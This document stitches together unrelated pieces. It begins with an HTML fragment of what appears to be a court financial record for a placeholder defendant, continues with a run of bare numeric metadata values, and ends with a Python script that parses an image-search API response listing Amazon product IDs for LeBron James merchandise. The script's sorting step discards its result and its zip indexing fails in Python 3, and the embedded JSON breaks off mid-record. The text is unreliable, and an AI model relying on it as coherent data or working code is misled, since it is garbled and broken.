Created: 09/16/2008 12:00 AM</div></td></tr></table><table cellpadding="0" cellspacing="0" width="100%" border="0"><col width="1" /><col width="0" /><col width="3" /><col width="20%" /><col width="40%" /><col width="40%" /><col width="1" /><caption><div class="ssCaseDetailSectionTitle">Financial Information</div></caption><tr><td colspan="7"></td></tr><tr><td> </td><td> </td><td> </td><td> </td><td> </td><td> </td></tr><tr><td> </td><td> </td><td> </td><td> </td><td> </td><td> </td></tr><tr><td valign="top"> </td><td style="border-right: 1px solid black"> </td><td> </td><th class="ssTableHeaderLabelLeft" colspan="4" style="padding-left:3px" id="CDFRB1"><span style="font-weight: bold;">Defendant</span> DOE, JOHN</th></tr><tr><td> </td><td style="border-right: 1px solid black"> </td><td> </td><th class="ssTableHeaderLabelLeft" colspan="3" style="padding-left:3px" id="RCDFRBFA1">Total Financial Assessment</th><td align="right" headers="CDFRB1 RCDFRBFA1"> 535.70</td></tr><tr><td> </td><td style="border-right: 1px solid black"> </td><td> </td><th class="ssTableHeaderLabelLeft" colspan="3" style="padding-left:3px" id="RCDFRPC1">Total Payments and Credits</th><td align="right" headers="CDFRB1 RCDFRPC1"> 0.00</td></tr><tr><td> </td><td style="border-right: 1px solid black"> </td><td> </td><th class="ssTableHeader" colspan="3" style="padding-left:3px" id="RCDFRBD1">
Balance Due as of 01/21/2019</th><td align="right" headers="CDFRB1 RCDFRBD1"> <b>535.70</b></td></tr><tr><td> </td><td style="border-right: 1px solid black"> </td><td> </td><td> </td><td> </td><td> </td><td> </td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDFTRD1">05/17/2000</th><td style="border-right: 1px solid black"> </td><td> </td><th class="ssTableHeaderLabelLeft" style="padding-left:3px" id="RCDFTRDE1">Transaction Assessment</th><td headers="CDFRB1 RCDFTRD1 RCDFTRDE1"> </td><td headers="CDFRB1 RCDFTRD1 RCDFTRDE1"> </td><td align="right" headers="CDFRB1 RCDFTRD1 RCDFTRDE1"> 105.00</td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDFTRD2">05/17/2000</th><td style="border-right: 1px solid black"> </td><td> </td><th class="ssTableHeaderLabelLeft" style="padding-left:3px" id="RCDFTRDE2">Transaction Assessment</th><td headers="CDFRB1 RCDFTRD2 RCDFTRDE2"> </td><td headers="CDFRB1 RCDFTRD2 RCDFTRDE2"> </td><td align="right" headers="CDFRB1 RCDFTRD2 RCDFTRDE2"> 300.00</td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDFTRD3">07/24/2005</th><td style="border-right: 1px solid black"> </td><td> </td><th class="ssTableHeaderLabelLeft" style="padding-left:3px" id="RCDFTRDE3">Transaction Assessment</th><td headers="CDFRB1 RCDFTRD3 RCDFTRDE3"> </td><td headers="CDFRB1 RCDFTRD3 RCDFTRDE3"> </td><td align="right" headers="CDFRB1 RCDFTRD3 RCDFTRDE3"> 61.00</td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDFTRD4">04/14/2011</th><td style="border-right: 1px solid black"> </td><td> </td><th class="ssTableHeaderLabelLeft" style="padding-left:3px" id="RCDFTRDE4">Transaction Assessment</th><td headers="CDFRB1 RCDFTRD4 RCDFTRDE4"> </td><td headers="CDFRB1 RCDFTRD4 RCDFTRDE4"> </td><td align="right" headers="CDFRB1 RCDFTRD4 RCDFTRDE4"> 69.70</td></tr><tr><td> </td><td style="border-right: 1px solid black"> </td><td> </td><td> </td><td> </td><td> </td><td> </td></tr></table>
<form id="Form1" action="" method="post"></form>
</body>
</html>
'''
| 243.379381
| 3,404
| 0.655876
| 17,413
| 118,039
| 4.440246
| 0.041348
| 0.030109
| 0.039732
| 0.033369
| 0.972012
| 0.969192
| 0.964019
| 0.959893
| 0.950335
| 0.94802
| 0
| 0.063229
| 0.112607
| 118,039
| 484
| 3,405
| 243.882231
| 0.674912
| 0
| 0
| 0.691441
| 0
| 0.425676
| 0.997958
| 0.473894
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0.004505
| 0
| 0
| 0.018018
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 11
|
4b33001c50a961c3e3ef9ad2e14bfd037f4d8c30
| 79,672
|
py
|
Python
|
misc/occipital_rs_parse.py
|
kchiang6997/visual-product-search
|
ca3c338295d277872905d0c94feee09622fdd23f
|
[
"MIT"
] | null | null | null |
misc/occipital_rs_parse.py
|
kchiang6997/visual-product-search
|
ca3c338295d277872905d0c94feee09622fdd23f
|
[
"MIT"
] | null | null | null |
misc/occipital_rs_parse.py
|
kchiang6997/visual-product-search
|
ca3c338295d277872905d0c94feee09622fdd23f
|
[
"MIT"
] | null | null | null |
import time
import hashlib
import urllib
import requests
import json
def _get_asin_score_tuple_list(occipital_rs):
'''
Create list of tuples
param
occipital_rs <dict> : As a dict, results from Occipital endpoint
return
rs_scores <list<tuple>> : [(<ASIN>, <MATCH_SCORE>), ...]
'''
rs_array = occipital_rs['occipital']['searchResult']
rs_scores = []
for rs in rs_array:
# Get all asins
if rs['contentType'] == 'ASIN':
rs_scores.append((rs['content'], rs['properties']['searchScore']))
# Then sort it in place on <MATCH_SCORE>
sorted(rs_scores, key=lambda x: x[1])
# Return array of <ASIN>
rs_scores = [x for x in zip(*rs_scores)[0]]
return rs_scores
if __name__ == "__main__":
occipital_rs = r'''{
"version": "1.0",
"occipital": {
"searchResult": [
{
"sourceQuery": "cc52be92-9629-4d5f-9538-556e016e37a9",
"source": "imagematch",
"contentType": "ASIN",
"dataSource": "apoc",
"content": "B06WD3JKMS",
"properties": {
"searchScore": 0.848744,
"boundingBox": {
"tly": 5.483041286468506,
"tlx": 297.1485290527344,
"bry": 2369.560302734375,
"brx": 3236.597900390625,
"try": 63.34443664550781,
"trx": 3190.6494140625,
"region": 1,
"bly": 2411.96337890625,
"blx": 271.93231201171875
},
"sidbcc_key": "51KSiJu+MLL",
"coveragedb": 0.5892811,
"asin_prime_eligible": false,
"originalname": "B06WD3JKMS_51KSiJu+MLL",
"mars-image": false,
"relevancescore": 0.8487439598247849,
"coverageqr": 0.54051745,
"title": "Lebron James Cleveland Cavaliers Autographed Signed 8 x 10 Photo - COA - NM/MT - MT Condition!",
"asin_bought_recently": true,
"glcode": "259",
"asin_net_ops": 0,
"asin_prime_badge_displayed": false,
"inlierScore": 1279,
"afex-image": false,
"match-time": 524,
"tag": "{\"brand\":\"Nostalgic Cards & Autographs\"}",
"asin_net_units": 0,
"closure": "physical-id-closure"
}
},
{
"sourceQuery": "cc52be92-9629-4d5f-9538-556e016e37a9",
"source": "imagematch",
"contentType": "ASIN",
"dataSource": "apoc",
"content": "B00NWODXM8",
"properties": {
"searchScore": 0.6595409,
"boundingBox": {
"tly": 863.9485473632812,
"tlx": 957.93359375,
"bry": 2701.7421875,
"brx": 3058.213623046875,
"try": 697.95458984375,
"trx": 2639.04443359375,
"region": 1,
"bly": 2719.675048828125,
"blx": 886.8568115234375
},
"sidbcc_key": "41ymu8g0WBL",
"coveragedb": 0.08008459,
"asin_prime_eligible": true,
"originalname": "B00NWODXM8_41ymu8g0WBL",
"mars-image": false,
"relevancescore": 0.6595409151339966,
"coverageqr": 0.03548052,
"title": "NBA Cleveland Cavaliers James # 23 Boys 8-20 Replica Alternate Jersey X-Large (18/20) Navy",
"asin_bought_recently": true,
"glcode": "200",
"asin_net_ops": 2203.83,
"asin_prime_badge_displayed": true,
"inlierScore": 140,
"afex-image": false,
"match-time": 524,
"tag": "{\"brand\":\"OuterStuff\"}",
"asin_net_units": 41,
"closure": "physical-id-closure"
}
},
{
"sourceQuery": "cc52be92-9629-4d5f-9538-556e016e37a9",
"source": "imagematch",
"contentType": "ASIN",
"dataSource": "apoc",
"content": "B00NWOD2D8",
"properties": {
"searchScore": 0.65913016,
"boundingBox": {
"tly": 863.9485473632812,
"tlx": 957.93359375,
"bry": 2701.7421875,
"brx": 3058.213623046875,
"try": 697.95458984375,
"trx": 2639.04443359375,
"region": 1,
"bly": 2719.675048828125,
"blx": 886.8568115234375
},
"sidbcc_key": "41ymu8g0WBL",
"coveragedb": 0.08008459,
"asin_prime_eligible": true,
"originalname": "B00NWOD2D8_41ymu8g0WBL",
"mars-image": false,
"relevancescore": 0.6591301727702866,
"coverageqr": 0.03548052,
"title": "NBA Cleveland Cavaliers James # 23 Boys 8-20 Replica Alternate Jersey Medium (10/12) Navy",
"asin_bought_recently": true,
"glcode": "200",
"asin_net_ops": 7175.6,
"asin_prime_badge_displayed": true,
"inlierScore": 140,
"afex-image": false,
"match-time": 524,
"tag": "{\"brand\":\"OuterStuff\"}",
"asin_net_units": 141,
"closure": "physical-id-closure"
}
},
{
"sourceQuery": "cc52be92-9629-4d5f-9538-556e016e37a9",
"source": "imagematch",
"contentType": "ASIN",
"dataSource": "apoc",
"content": "B00NWOCJKU",
"properties": {
"searchScore": 0.64716685,
"boundingBox": {
"tly": 863.9485473632812,
"tlx": 957.93359375,
"bry": 2701.7421875,
"brx": 3058.213623046875,
"try": 697.95458984375,
"trx": 2639.04443359375,
"region": 1,
"bly": 2719.675048828125,
"blx": 886.8568115234375
},
"sidbcc_key": "41ymu8g0WBL",
"coveragedb": 0.08008459,
"asin_prime_eligible": true,
"originalname": "B00NWOCJKU_41ymu8g0WBL",
"mars-image": false,
"relevancescore": 0.6471668300583656,
"coverageqr": 0.03548052,
"title": "NBA Cleveland Cavaliers James # 23 Boys 8-20 Replica Alternate Jersey Large (14/16) Navy",
"asin_bought_recently": true,
"glcode": "200",
"asin_net_ops": 5217.43,
"asin_prime_badge_displayed": true,
"inlierScore": 140,
"afex-image": false,
"match-time": 524,
"tag": "{\"brand\":\"OuterStuff\"}",
"asin_net_units": 90,
"closure": "physical-id-closure"
}
},
{
"sourceQuery": "cc52be92-9629-4d5f-9538-556e016e37a9",
"source": "imagematch",
"contentType": "ASIN",
"dataSource": "apoc",
"content": "1548107166",
"properties": {
"searchScore": 0.6193341,
"boundingBox": {
"tly": 55.93451690673828,
"tlx": 1008.4808959960938,
"bry": 2345.1025390625,
"brx": 2520.589111328125,
"try": 65.99022674560547,
"trx": 2502.05810546875,
"region": 1,
"bly": 2354.50146484375,
"blx": 1010.99072265625
},
"sidbcc_key": "51XS-YlcVJL",
"coveragedb": 0.57954633,
"asin_prime_eligible": true,
"originalname": "1548107166_51XS-YlcVJL",
"mars-image": false,
"relevancescore": 0.6193341227209472,
"coverageqr": 0.2650101,
"title": "LeBron James: Biography of a King",
"asin_bought_recently": true,
"glcode": "14",
"asin_net_ops": 0,
"asin_prime_badge_displayed": true,
"inlierScore": 259,
"afex-image": false,
"match-time": 524,
"asin_net_units": 0,
"closure": "physical-id-closure"
}
},
{
"sourceQuery": "cc52be92-9629-4d5f-9538-556e016e37a9",
"source": "imagematch",
"contentType": "ASIN",
"dataSource": "apoc",
"content": "B00U0LIP7O",
"properties": {
"searchScore": 0.5716306,
"boundingBox": {
"tly": 1093.3956298828125,
"tlx": 1327.8741455078125,
"bry": 2402.908935546875,
"brx": 2348.47412109375,
"try": 1035.971435546875,
"trx": 2300.2158203125,
"region": 1,
"bly": 2393.392333984375,
"blx": 1366.94287109375
},
"sidbcc_key": "41eEZUjTYiL",
"coveragedb": 0.05794695,
"asin_prime_eligible": true,
"originalname": "B00U0LIP7O_41eEZUjTYiL",
"mars-image": false,
"relevancescore": 0.5716306183911462,
"coverageqr": 0.009846771,
"title": "NBA Cleveland Cavaliers LeBron James #23 Men's Replica Jersey Large Navy",
"asin_bought_recently": true,
"glcode": "200",
"asin_net_ops": 6143.11,
"asin_prime_badge_displayed": true,
"inlierScore": 61,
"afex-image": false,
"match-time": 524,
"tag": "{\"brand\":\"adidas\"}",
"asin_net_units": 90,
"closure": "physical-id-closure"
}
},
{
"sourceQuery": "cc52be92-9629-4d5f-9538-556e016e37a9",
"source": "imagematch",
"contentType": "ASIN",
"dataSource": "apoc",
"content": "B00U0LAHUM",
"properties": {
"searchScore": 0.5502959,
"boundingBox": {
"tly": 1093.3956298828125,
"tlx": 1327.8741455078125,
"bry": 2402.908935546875,
"brx": 2348.47412109375,
"try": 1035.971435546875,
"trx": 2300.2158203125,
"region": 1,
"bly": 2393.392333984375,
"blx": 1366.94287109375
},
"sidbcc_key": "41eEZUjTYiL",
"coveragedb": 0.05794695,
"asin_prime_eligible": true,
"originalname": "B00U0LAHUM_41eEZUjTYiL",
"mars-image": false,
"relevancescore": 0.5502958822970613,
"coverageqr": 0.009846771,
"title": "NBA Cleveland Cavaliers LeBron James #23 Men's Replica Jersey Medium Navy",
"asin_bought_recently": true,
"glcode": "200",
"asin_net_ops": 6370.42,
"asin_prime_badge_displayed": true,
"inlierScore": 61,
"afex-image": false,
"match-time": 524,
"tag": "{\"brand\":\"adidas\"}",
"asin_net_units": 91,
"closure": "physical-id-closure"
}
},
{
"sourceQuery": "cc52be92-9629-4d5f-9538-556e016e37a9",
"source": "imagematch",
"contentType": "ASIN",
"dataSource": "apoc",
"content": "B06XRCDQ8M",
"properties": {
"searchScore": 0.5065824,
"boundingBox": {
"tly": 714.706298828125,
"tlx": 944.1701049804688,
"bry": 2371.59765625,
"brx": 2767.782958984375,
"try": 656.1851806640625,
"trx": 2533.13916015625,
"region": 1,
"bly": 2416.70556640625,
"blx": 881.0044555664062
},
"sidbcc_key": "51A0W2dmoCL",
"coveragedb": 0.10111496,
"asin_prime_eligible": true,
"originalname": "B06XRCDQ8M_51A0W2dmoCL",
"mars-image": false,
"relevancescore": 0.5065823909825866,
"coverageqr": 0.038707837,
"title": "Cavaliers Clevelend James #23 -Youth Professional Jersey Top M/10-12 Black",
"asin_bought_recently": true,
"glcode": "200",
"asin_net_ops": 44.99,
"asin_prime_badge_displayed": true,
"inlierScore": 164,
"afex-image": false,
"match-time": 524,
"tag": "{\"brand\":\"NBA\"}",
"asin_net_units": 1,
"closure": "physical-id-closure"
}
},
{
"sourceQuery": "cc52be92-9629-4d5f-9538-556e016e37a9",
"source": "imagematch",
"contentType": "ASIN",
"dataSource": "apoc",
"content": "B00TXYMIV8",
"properties": {
"searchScore": 0.4835875,
"boundingBox": {
"tly": 1093.3956298828125,
"tlx": 1327.8741455078125,
"bry": 2402.908935546875,
"brx": 2348.47412109375,
"try": 1035.971435546875,
"trx": 2300.2158203125,
"region": 1,
"bly": 2393.392333984375,
"blx": 1366.94287109375
},
"sidbcc_key": "41eEZUjTYiL",
"coveragedb": 0.05794695,
"asin_prime_eligible": true,
"originalname": "B00TXYMIV8_41eEZUjTYiL",
"mars-image": false,
"relevancescore": 0.4835875078595242,
"coverageqr": 0.009846771,
"title": "NBA Cleveland Cavaliers LeBron James #23 Men's Replica Jersey X-Large Navy",
"asin_bought_recently": true,
"glcode": "200",
"asin_net_ops": 3304.4,
"asin_prime_badge_displayed": true,
"inlierScore": 61,
"afex-image": false,
"match-time": 524,
"tag": "{\"brand\":\"adidas\"}",
"asin_net_units": 48,
"closure": "physical-id-closure"
}
},
{
"sourceQuery": "cc52be92-9629-4d5f-9538-556e016e37a9",
"source": "imagematch",
"contentType": "ASIN",
"dataSource": "apoc",
"content": "B072JYPZLM",
"properties": {
"searchScore": 0.47219566,
"boundingBox": {
"tly": 743.232666015625,
"tlx": 975.6465454101562,
"bry": 2443.83935546875,
"brx": 2906.606201171875,
"try": 472.7909851074219,
"trx": 2719.81591796875,
"region": 1,
"bly": 2295.169677734375,
"blx": 983.5390014648438
},
"sidbcc_key": "51Elh1CcbsL",
"coveragedb": 0.08894273,
"asin_prime_eligible": true,
"originalname": "B072JYPZLM_51Elh1CcbsL",
"mars-image": false,
"relevancescore": 0.47219565780554296,
"coverageqr": 0.03651757,
"title": "Youth CLE CAVALIERS JAMES #23 Pro Quality Athletic Jersey Top S Dark Blue",
"asin_bought_recently": true,
"glcode": "200",
"asin_net_ops": 0,
"asin_prime_badge_displayed": true,
"inlierScore": 133,
"afex-image": false,
"match-time": 524,
"tag": "{\"brand\":\"Sports Locker\"}",
"asin_net_units": 0,
"closure": "physical-id-closure"
}
},
{
"sourceQuery": "cc52be92-9629-4d5f-9538-556e016e37a9",
"source": "imagematch",
"contentType": "ASIN",
"dataSource": "apoc",
"content": "B06XDK7YNB",
"properties": {
"searchScore": 0.44137046,
"boundingBox": {
"tly": 20.06413459777832,
"tlx": 948.6275024414062,
"bry": 2363.156494140625,
"brx": 2621.739013671875,
"try": 39.861846923828125,
"trx": 2606.185546875,
"region": 1,
"bly": 2370.28759765625,
"blx": 971.6245727539062
},
"sidbcc_key": "51GMhj+RbYL",
"coveragedb": 0.24184547,
"asin_prime_eligible": false,
"originalname": "B06XDK7YNB_51GMhj+RbYL",
"mars-image": false,
"relevancescore": 0.4413704621560041,
"coverageqr": 0.124412656,
"title": "LeBron James #14 - NBA Champions - Hall of Fame - Cleveland Cavaliers - Unlimited Edition Print Sketch Card - BUY IT NOW or MAKE AN OFFER - Limited Edition Original Artwork Sketch Card",
"asin_bought_recently": true,
"glcode": "259",
"asin_net_ops": 0,
"asin_prime_badge_displayed": false,
"inlierScore": 182,
"afex-image": false,
"match-time": 524,
"tag": "{\"brand\":\"SportArtCards-NBA\"}",
"asin_net_units": 0,
"closure": "physical-id-closure"
}
},
{
"sourceQuery": "cc52be92-9629-4d5f-9538-556e016e37a9",
"source": "imagematch",
"contentType": "ASIN",
"dataSource": "apoc",
"content": "B01LXI8RGZ",
"properties": {
"searchScore": 0.4180343,
"boundingBox": {
"tly": 295.0271911621094,
"tlx": 124.87899017333984,
"bry": 2355.185546875,
"brx": 2573.111328125,
"try": 126.8849868774414,
"trx": 2413.127197265625,
"region": 1,
"bly": 2430.51123046875,
"blx": 230.6358642578125
},
"sidbcc_key": "51j12EglCJL",
"coveragedb": 0.05637067,
"asin_prime_eligible": false,
"originalname": "B01LXI8RGZ_51j12EglCJL",
"mars-image": false,
"relevancescore": 0.41803429855723895,
"coverageqr": 0.04000773,
"title": "Mens #23 LEBRON JAMES 2ND Alternate Jersey - Navy Blue",
"asin_bought_recently": true,
"glcode": "200",
"asin_net_ops": 0,
"asin_prime_badge_displayed": false,
"inlierScore": 115,
"afex-image": false,
"match-time": 524,
"asin_net_units": 0,
"closure": "physical-id-closure"
}
},
{
"sourceQuery": "cc52be92-9629-4d5f-9538-556e016e37a9",
"source": "imagematch",
"contentType": "ASIN",
"dataSource": "apoc",
"content": "B01M0FNTNQ",
"properties": {
"searchScore": 0.4180343,
"boundingBox": {
"tly": 295.0271911621094,
"tlx": 124.87899017333984,
"bry": 2355.185546875,
"brx": 2573.111328125,
"try": 126.8849868774414,
"trx": 2413.127197265625,
"region": 1,
"bly": 2430.51123046875,
"blx": 230.6358642578125
},
"sidbcc_key": "51j12EglCJL",
"coveragedb": 0.05637067,
"asin_prime_eligible": false,
"originalname": "B01M0FNTNQ_51j12EglCJL",
"mars-image": false,
"relevancescore": 0.41803429855723895,
"coverageqr": 0.04000773,
"title": "Mens #23 LEBRON JAMES 2ND Alternate Jersey - Navy Blue",
"asin_bought_recently": true,
"glcode": "14",
"asin_net_ops": 0,
"asin_prime_badge_displayed": false,
"inlierScore": 115,
"afex-image": false,
"match-time": 524,
"asin_net_units": 0,
"closure": "physical-id-closure"
}
},
{
"sourceQuery": "cc52be92-9629-4d5f-9538-556e016e37a9",
"source": "imagematch",
"contentType": "ASIN",
"dataSource": "apoc",
"content": "B01LZSBV74",
"properties": {
"searchScore": 0.41292116,
"boundingBox": {
"tly": 295.0271911621094,
"tlx": 124.87899017333984,
"bry": 2355.185546875,
"brx": 2573.111328125,
"try": 126.8849868774414,
"trx": 2413.127197265625,
"region": 1,
"bly": 2430.51123046875,
"blx": 230.6358642578125
},
"sidbcc_key": "51j12EglCJL",
"coveragedb": 0.05637067,
"asin_prime_eligible": false,
"originalname": "B01LZSBV74_51j12EglCJL",
"mars-image": false,
"relevancescore": 0.4129211575191908,
"coverageqr": 0.04000773,
"title": "Mens #23 LEBRON JAMES 2ND Alternate Jersey - Navy Blue",
"asin_bought_recently": true,
"glcode": "14",
"asin_net_ops": 0,
"asin_prime_badge_displayed": false,
"inlierScore": 115,
"afex-image": false,
"match-time": 524,
"asin_net_units": 0,
"closure": "physical-id-closure"
}
},
{
"sourceQuery": "cc52be92-9629-4d5f-9538-556e016e37a9",
"source": "imagematch",
"contentType": "ASIN",
"dataSource": "apoc",
"content": "B00TUMW700",
"properties": {
"searchScore": 0.4042026,
"boundingBox": {
"tly": 1093.3956298828125,
"tlx": 1327.8741455078125,
"bry": 2402.908935546875,
"brx": 2348.47412109375,
"try": 1035.971435546875,
"trx": 2300.2158203125,
"region": 1,
"bly": 2393.392333984375,
"blx": 1366.94287109375
},
"sidbcc_key": "41eEZUjTYiL",
"coveragedb": 0.05794695,
"asin_prime_eligible": true,
"originalname": "B00TUMW700_41eEZUjTYiL",
"mars-image": false,
"relevancescore": 0.4042026176559252,
"coverageqr": 0.009846771,
"title": "NBA Cleveland Cavaliers LeBron James #23 Men's Replica Jersey Small Navy",
"asin_bought_recently": true,
"glcode": "200",
"asin_net_ops": 2170,
"asin_prime_badge_displayed": true,
"inlierScore": 61,
"afex-image": false,
"match-time": 524,
"tag": "{\"brand\":\"adidas\"}",
"asin_net_units": 31,
"closure": "physical-id-closure"
}
},
{
"sourceQuery": "cc52be92-9629-4d5f-9538-556e016e37a9",
"source": "imagematch",
"contentType": "ASIN",
"dataSource": "apoc",
"content": "B00TXYM5KM",
"properties": {
"searchScore": 0.40419,
"boundingBox": {
"tly": 1093.3956298828125,
"tlx": 1327.8741455078125,
"bry": 2402.908935546875,
"brx": 2348.47412109375,
"try": 1035.971435546875,
"trx": 2300.2158203125,
"region": 1,
"bly": 2393.392333984375,
"blx": 1366.94287109375
},
"sidbcc_key": "41eEZUjTYiL",
"coveragedb": 0.05794695,
"asin_prime_eligible": true,
"originalname": "B00TXYM5KM_41eEZUjTYiL",
"mars-image": false,
"relevancescore": 0.4041900048185713,
"coverageqr": 0.009846771,
"title": "NBA Cleveland Cavaliers LeBron James #23 Men's Replica Jersey XX-Large Navy",
"asin_bought_recently": true,
"glcode": "200",
"asin_net_ops": 1330,
"asin_prime_badge_displayed": true,
"inlierScore": 61,
"afex-image": false,
"match-time": 524,
"tag": "{\"brand\":\"adidas\"}",
"asin_net_units": 19,
"closure": "physical-id-closure"
}
},
{
"sourceQuery": "cc52be92-9629-4d5f-9538-556e016e37a9",
"source": "imagematch",
"contentType": "ASIN",
"dataSource": "apoc",
"content": "B01HEPV3NQ",
"properties": {
"searchScore": 0.3897771,
"boundingBox": {
"tly": 740.5752563476562,
"tlx": 842.4403076171875,
"bry": 2185.361328125,
"brx": 2435.143798828125,
"try": 746.8306274414062,
"trx": 2634.8203125,
"region": 1,
"bly": 2274.5859375,
"blx": 1292.692138671875
},
"sidbcc_key": "41sgX2+KAhL",
"coveragedb": 0.044482883,
"asin_prime_eligible": false,
"originalname": "B01HEPV3NQ_41sgX2+KAhL",
"mars-image": false,
"relevancescore": 0.38977708477783163,
"coverageqr": 0.011978821,
"title": "Cleveland Cavaliers LeBron James 2016 Finals Champions Mens'Sweatshirt No Fleece",
"asin_bought_recently": true,
"glcode": "14",
"asin_net_ops": 0,
"asin_prime_badge_displayed": false,
"inlierScore": 74,
"afex-image": false,
"match-time": 524,
"asin_net_units": 0,
"closure": "physical-id-closure"
}
},
{
"sourceQuery": "cc52be92-9629-4d5f-9538-556e016e37a9",
"source": "imagematch",
"contentType": "ASIN",
"dataSource": "apoc",
"content": "B071S18TN2",
"properties": {
"searchScore": 0.3625766,
"boundingBox": {
"tly": 743.232666015625,
"tlx": 975.6465454101562,
"bry": 2443.83935546875,
"brx": 2906.606201171875,
"try": 472.7909851074219,
"trx": 2719.81591796875,
"region": 1,
"bly": 2295.169677734375,
"blx": 983.5390014648438
},
"sidbcc_key": "51Elh1CcbsL",
"coveragedb": 0.08894273,
"asin_prime_eligible": false,
"originalname": "B071S18TN2_51Elh1CcbsL",
"mars-image": false,
"relevancescore": 0.36257661720377793,
"coverageqr": 0.03651757,
"title": "CLE CAVALIERS Youth JAMES #23 Pro Quality Athletic Jersey Top XL Dark Blue",
"asin_bought_recently": true,
"glcode": "200",
"asin_net_ops": 0,
"asin_prime_badge_displayed": false,
"inlierScore": 133,
"afex-image": false,
"match-time": 524,
"tag": "{\"brand\":\"Professional Sports\"}",
"asin_net_units": 0,
"closure": "physical-id-closure"
}
},
{
"sourceQuery": "cc52be92-9629-4d5f-9538-556e016e37a9",
"source": "imagematch",
"contentType": "ASIN",
"dataSource": "apoc",
"content": "B01MSWLHQK",
"properties": {
"searchScore": 0.30260196,
"boundingBox": {
"tly": -3494.7958984375,
"tlx": -9255.29296875,
"bry": 1543.06640625,
"brx": 3034.17333984375,
"try": 895.3204345703125,
"trx": 3040.04052734375,
"region": 1,
"bly": 52313.04296875,
"blx": -44134.34765625
},
"sidbcc_key": "51fcxC6vSFL",
"coveragedb": 0.051941574,
"asin_prime_eligible": false,
"originalname": "B01MSWLHQK_51fcxC6vSFL",
"mars-image": false,
"relevancescore": 0.30260197136694933,
"coverageqr": 0.0485392,
"title": "Cleveland Cavaliers Youth Lebron James Replica Alternate Jersey - Navy #23 Youth Large",
"asin_bought_recently": true,
"glcode": "200",
"asin_net_ops": 799.2,
"asin_prime_badge_displayed": false,
"inlierScore": 25,
"afex-image": false,
"match-time": 524,
"tag": "{\"brand\":\"adidas\"}",
"asin_net_units": 16,
"closure": "physical-id-closure"
}
},
{
"sourceQuery": "cc52be92-9629-4d5f-9538-556e016e37a9",
"source": "imagematch",
"contentType": "SearchTerms",
"dataSource": "imagematch_brand",
"content": "Nostalgic Cards & Autographs",
"properties": {
"boundingBox": {
"tly": 5.483041286468506,
"tlx": 297.1485290527344,
"bry": 2369.560302734375,
"brx": 3236.597900390625,
"try": 63.34443664550781,
"trx": 3190.6494140625,
"region": 1,
"bly": 2411.96337890625,
"blx": 271.93231201171875
},
"tags": [
"Nostalgic Cards & Autographs"
]
}
}
],
"resultMetadata": {
"hasMatch": true,
"accumulatedQueries": [
"cc52be92-9629-4d5f-9538-556e016e37a9"
],
"accumulationStart": 1499810093776,
"queryChainCount": 1,
"finalAccumulation": true
},
"debugInfo": {
"imagematch": {
"searchResult": [
{
"contentType": "ASIN",
"dataSource": "apoc",
"content": "B06WD3JKMS",
"properties": {
"searchScore": 0.848744,
"boundingBox": {
"tly": 5.483041286468506,
"tlx": 297.1485290527344,
"bry": 2369.560302734375,
"brx": 3236.597900390625,
"try": 63.34443664550781,
"trx": 3190.6494140625,
"region": 1,
"bly": 2411.96337890625,
"blx": 271.93231201171875
},
"sidbcc_key": "51KSiJu+MLL",
"coveragedb": 0.5892811,
"asin_prime_eligible": false,
"originalname": "B06WD3JKMS_51KSiJu+MLL",
"mars-image": false,
"relevancescore": 0.8487439598247849,
"coverageqr": 0.54051745,
"title": "Lebron James Cleveland Cavaliers Autographed Signed 8 x 10 Photo - COA - NM/MT - MT Condition!",
"asin_bought_recently": true,
"glcode": "259",
"asin_net_ops": 0,
"asin_prime_badge_displayed": false,
"inlierScore": 1279,
"afex-image": false,
"match-time": 524,
"tag": "{\"brand\":\"Nostalgic Cards & Autographs\"}",
"asin_net_units": 0,
"closure": "physical-id-closure"
}
},
{
"contentType": "ASIN",
"dataSource": "apoc",
"content": "B00NWODXM8",
"properties": {
"searchScore": 0.6595409,
"boundingBox": {
"tly": 863.9485473632812,
"tlx": 957.93359375,
"bry": 2701.7421875,
"brx": 3058.213623046875,
"try": 697.95458984375,
"trx": 2639.04443359375,
"region": 1,
"bly": 2719.675048828125,
"blx": 886.8568115234375
},
"sidbcc_key": "41ymu8g0WBL",
"coveragedb": 0.08008459,
"asin_prime_eligible": true,
"originalname": "B00NWODXM8_41ymu8g0WBL",
"mars-image": false,
"relevancescore": 0.6595409151339966,
"coverageqr": 0.03548052,
"title": "NBA Cleveland Cavaliers James # 23 Boys 8-20 Replica Alternate Jersey X-Large (18/20) Navy",
"asin_bought_recently": true,
"glcode": "200",
"asin_net_ops": 2203.83,
"asin_prime_badge_displayed": true,
"inlierScore": 140,
"afex-image": false,
"match-time": 524,
"tag": "{\"brand\":\"OuterStuff\"}",
"asin_net_units": 41,
"closure": "physical-id-closure"
}
},
{
"contentType": "ASIN",
"dataSource": "apoc",
"content": "B00NWOD2D8",
"properties": {
"searchScore": 0.65913016,
"boundingBox": {
"tly": 863.9485473632812,
"tlx": 957.93359375,
"bry": 2701.7421875,
"brx": 3058.213623046875,
"try": 697.95458984375,
"trx": 2639.04443359375,
"region": 1,
"bly": 2719.675048828125,
"blx": 886.8568115234375
},
"sidbcc_key": "41ymu8g0WBL",
"coveragedb": 0.08008459,
"asin_prime_eligible": true,
"originalname": "B00NWOD2D8_41ymu8g0WBL",
"mars-image": false,
"relevancescore": 0.6591301727702866,
"coverageqr": 0.03548052,
"title": "NBA Cleveland Cavaliers James # 23 Boys 8-20 Replica Alternate Jersey Medium (10/12) Navy",
"asin_bought_recently": true,
"glcode": "200",
"asin_net_ops": 7175.6,
"asin_prime_badge_displayed": true,
"inlierScore": 140,
"afex-image": false,
"match-time": 524,
"tag": "{\"brand\":\"OuterStuff\"}",
"asin_net_units": 141,
"closure": "physical-id-closure"
}
},
{
"contentType": "ASIN",
"dataSource": "apoc",
"content": "B00NWOCJKU",
"properties": {
"searchScore": 0.64716685,
"boundingBox": {
"tly": 863.9485473632812,
"tlx": 957.93359375,
"bry": 2701.7421875,
"brx": 3058.213623046875,
"try": 697.95458984375,
"trx": 2639.04443359375,
"region": 1,
